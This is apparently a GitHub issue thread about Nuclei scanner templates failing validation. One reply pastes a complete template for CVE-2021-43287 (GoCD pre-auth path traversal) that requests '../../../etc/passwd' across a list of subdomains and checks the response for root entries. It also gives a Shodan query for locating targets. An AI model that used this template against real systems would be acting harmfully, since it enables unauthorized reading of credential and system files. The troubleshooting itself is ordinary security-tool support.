no valid templates were found issue!!
0xhunster opened this issue · comments
I got the same issue on validation i found all the templates have error "invalid attack type sniper"
try to use nuclei version 2.5.3 , it's will work :)
could you share your install command?
you can use this one https://github.com/0xAwali/Virtual-Host/releases
share your command and the template that you wanna use :)
./nuclei -t Templates/CVE/ -u https://google.com/
try this on ./nuclei -t this.yaml -u https://google.com/
id: CVE-2021-43287
info:
name: Pre-Auth Takeover of Build Pipelines in GoCD
author: dhiyaneshDk
severity: critical
reference:
- https://attackerkb.com/assessments/9101a539-4c6e-4638-a2ec-12080b7e3b50
- https://blog.sonarsource.com/gocd-pre-auth-pipeline-takeover
- https://twitter.com/wvuuuuuuuuuuuuu/status/1456316586831323140
tags: cve,cve2021,go,lfi,gocd
metadata:
shodan-query: http.title:"Create a pipeline - Go",html:"GoCD Version"
requests:
- payloads:
Subdomains: path/yourwordlist.txt
attack: sniper
threads: 100
raw:
- |
GET /go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../etc/passwd HTTP/1.1
Host: {{Subdomains}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
Accept-Encoding: gzip, deflate
Accept: */*
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: regex
regex:
- "root:.*:0:0:"
keep in your mind you have to change this Subdomains: path/yourwordlist.txt to valid path
there isn't any issues , that was from your side , you have to change all templates to valid path
now I understand, Subdomains: path/yourwordlist.txt
means? That list do I want to scan? but why use -u https://google.com